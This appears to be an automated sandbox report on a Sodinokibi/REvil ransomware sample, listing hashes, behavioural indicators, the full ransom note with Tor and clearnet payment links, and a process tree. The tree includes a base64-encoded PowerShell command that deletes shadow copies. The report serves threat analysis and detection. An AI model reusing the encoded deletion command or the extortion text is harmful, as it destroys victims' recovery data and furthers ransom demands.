Analysis
- max time kernel
166s - max time network
155s - platform
windows10_x64 - resource
win10-en-20211208 - submitted
24/01/2022, 00:53
Static task
static1
Behavioral task
behavioral1
Sample
dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe
Resource
win7-en-20211208
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe
Resource
win10-en-20211208
windows10_x64
0 signatures
0 seconds
General
- Target dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe
- Size 200KB
- Sample220124-a8nkkahack
- SHA256 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6
- MD5 b4243483489150bd04dfb6099e6f8759
- SHA1 cc9448bd567ee79ca1aa1cf18d6693ea8ebf9e51
- SHA512 fa165269da281f09703533b9de282f85977aa3756004ed5812ce03d39565b9fdf974d9d3d717bf19a53556e01333c1e857b2527c659f85769305c617f2e527c0
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Extracted
Path
-
C:\tsyoj-readme.txt
-
sodinokibi
Ransom Note
- ---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion tsyoj. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/C52D6861C4A0F630 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/C52D6861C4A0F630 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: VvpbDMvkCXpzevTmY/hOfplVkMGwpWqyWf0dKMP2A3/fN64pfZlTv7/05+23XA3/ u+XNoy43b/F6ZwXXTH8WqnZsXw4j7NFIyeNHMHeSThOJOub1gq44HpJA/lNbILns 689/P0lmxv9Qhx+8uvjo0vEBGeOH2nNQUSh6D+M+tgR7IWQwx5Ye1ibFoW8qtgaZ 5oaQ2w9auQdg+y4b2BH6UaDTsPr/05tAkyfDpUrXPMGXaFqsgNt69B+sRY+oeAeo GjGygzW0XBDEcVYmn/9/Bgaq8mHYKPG3bGG6XFUHdDao4kepN91+mR24iGFdlt8/ g0NL35mcZY1NsQhR/O5/u4ZDKvMD6Ad+x389WmHZfW9lHm/YK8xz8BBPnYLDHCF8 65vDBJpd1Xz9R6EtkxoQoaIJE+A6FLvJRtKHFsrKZKbIUOYBcnUFdYQfxB6LA8vY evv5p1bz3ieEQsw2/7tUA9ajy9pT7lX74LfhJn/mQsMMJkyByQ/jLNCgccnMXNiz lWyyJT2xCa5Rj5Qrh7xRUa+bbfCn7HXkSAmmrcbrO0DJ+mxg+SETU8V960D79N7h Cqg5SfbxxrBSJqZWGuFznQsE4V80nlp2sqVRzpsGdV7K0a2f7QwohM7ArTno1Jnw jpAwpdTw8RM4MrhgBKAcv36HaQdVtPS0RHK0uT/ahCQ1l5qyurtczMSTNpi0urXV h+S5IkRsRqHOzh5Qeqoop4gaZ5USSlgMbPSMFfwmYM3D/RD30mTxbDMi8uq/0u9o wvosjmOJvYCh/Zb0VVz6QIW7IL9nLV2JIrGo+88laFFqndXwy4Ps4mE3LjuQIi8n YjvfCg0+C/E2sMh9jASCle6VdHGwIQuIbhwdONIiVJr90UPM0sOpPimI4w9xaxaw NlRYCLwEuAGuN83a+t5tYp8aB8s4qP4JmCo0O2WIXV0pefUUl93TO1/yWjtQWKOz 2pUvcXOQ/LqX/JrhIzd5IKns+D2zQXKnvV+beJwP8YC3+nCsn/jxNKwXuXK/xz9k KDj0DNkrdJmGIBh0dRnwXwxTG7v9BhMsvoqFQ5MqHo9TyyFmnNXOq1Opook4S80N yqLDBL82Lw6vD/LlLAstpqbNkUh11EeApy+5PbxHwpBh7FDWKn0j77x2VBbl136P 30InqqPM+FDf261uB57nVcUdDqfgh12tTgzpQ86pEW3O5WRmABnTIceX03la11Cy SCutQeGbwFjpWsiwqOZuwrn771RglWgqWe/B4t95Bc7uE0msvDf2XFc72Tej+eHR Am7O/MuZcruDGv0xuig= Extension name: tsyoj ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs
-
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/C52D6861C4A0F630
-
http://decryptor.cc/C52D6861C4A0F630
Signatures
- Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
- Modifies extensions of user files 2 IoCs
Ransomware generally changes the extension on encrypted files.
description ioc Process File renamed C:\Users\Admin\Pictures\MeasureEnter.raw => \??\c:\users\admin\pictures\MeasureEnter.raw.tsyoj dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File renamed C:\Users\Admin\Pictures\GetOut.png => \??\c:\users\admin\pictures\GetOut.png.tsyoj dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe - Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\BV7BRrErOX = "C:\\Users\\Admin\\AppData\\Local\\Temp\\dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe" dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe - Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\H: dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened (read-only) \??\N: dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened (read-only) \??\O: dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened (read-only) \??\P: dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened (read-only) \??\Q: dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened (read-only) \??\R: dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened (read-only) \??\D: dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened (read-only) \??\E: dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened (read-only) \??\F: dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened (read-only) \??\S: dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened (read-only) \??\Y: dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened (read-only) \??\Z: dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened (read-only) \??\I: dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened (read-only) \??\J: dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened (read-only) \??\L: dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened (read-only) \??\M: dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened (read-only) \??\U: dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened (read-only) \??\V: dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened (read-only) \??\X: dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened (read-only) \??\A: dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened (read-only) \??\B: dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened (read-only) \??\G: dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened (read-only) \??\K: dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened (read-only) \??\T: dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened (read-only) \??\W: dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe - Drops file in Program Files directory 36 IoCs
description ioc Process File opened for modification \??\c:\program files\DisableResolve.mp3 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened for modification \??\c:\program files\EnableReceive.mpv2 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened for modification \??\c:\program files\NewSave.jpe dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened for modification \??\c:\program files\RepairConnect.au dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened for modification \??\c:\program files\SaveSwitch.dwfx dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened for modification \??\c:\program files\SwitchMerge.mht dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened for modification \??\c:\program files\UnblockStop.mpeg2 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened for modification \??\c:\program files\PublishReset.mpg dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened for modification \??\c:\program files\RedoExport.ADTS dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened for modification \??\c:\program files\RestartConvertFrom.search-ms dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened for modification \??\c:\program files\SelectSearch.ppt dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened for modification \??\c:\program files\ConvertFromInvoke.vstm dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened for modification \??\c:\program files\MountEdit.easmx dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened for modification \??\c:\program files\JoinBlock.xlsb dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened for modification \??\c:\program files\LockClose.xls dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened for modification \??\c:\program files\SplitInitialize.aifc dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened for modification \??\c:\program files\CompressTrace.vssx dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened for modification \??\c:\program files\EnterTest.mpv2 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened for modification \??\c:\program files\HideClear.aif dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened for modification \??\c:\program files\LimitUse.dwg dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened for modification \??\c:\program files\PushRestart.js dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened for modification \??\c:\program files\StepRequest.wma dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened for modification \??\c:\program files\ResetDebug.xps dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File created \??\c:\program files\tsyoj-readme.txt dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File created \??\c:\program files (x86)\tsyoj-readme.txt dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened for modification \??\c:\program files\CloseRepair.odp dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened for modification \??\c:\program files\ExpandLock.bmp dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened for modification \??\c:\program files\FormatRequest.zip dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened for modification \??\c:\program files\InstallGroup.crw dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened for modification \??\c:\program files\RedoStop.M2TS dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened for modification \??\c:\program files\ApproveUnregister.xps dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened for modification \??\c:\program files\ClearOut.docm dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened for modification \??\c:\program files\PingExit.mpeg dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened for modification \??\c:\program files\RemoveDisconnect.dib dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened for modification \??\c:\program files\SelectComplete.rtf dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe File opened for modification \??\c:\program files\UnlockProtect.js dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4480 powershell.exe 4480 powershell.exe 4480 powershell.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe - Suspicious use of AdjustPrivilegeToken 6 IoCs
description pid Process Token: SeDebugPrivilege 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe Token: SeDebugPrivilege 4480 powershell.exe Token: SeBackupPrivilege 1212 vssvc.exe Token: SeRestorePrivilege 1212 vssvc.exe Token: SeAuditPrivilege 1212 vssvc.exe Token: SeTakeOwnershipPrivilege 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4144 wrote to memory of 4480 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 73 PID 4144 wrote to memory of 4480 4144 dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe 73
Processes
-
C:\Users\Admin\AppData\Local\Temp\dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe"C:\Users\Admin\AppData\Local\Temp\dd783dd02825f7bbac3faef9e2b07da5320394774f93f35c614465d47054bcc6.exe"1⤵
- Modifies extensions of user files
- Adds Run key to start application
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4144 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4480
-
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:4220
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1212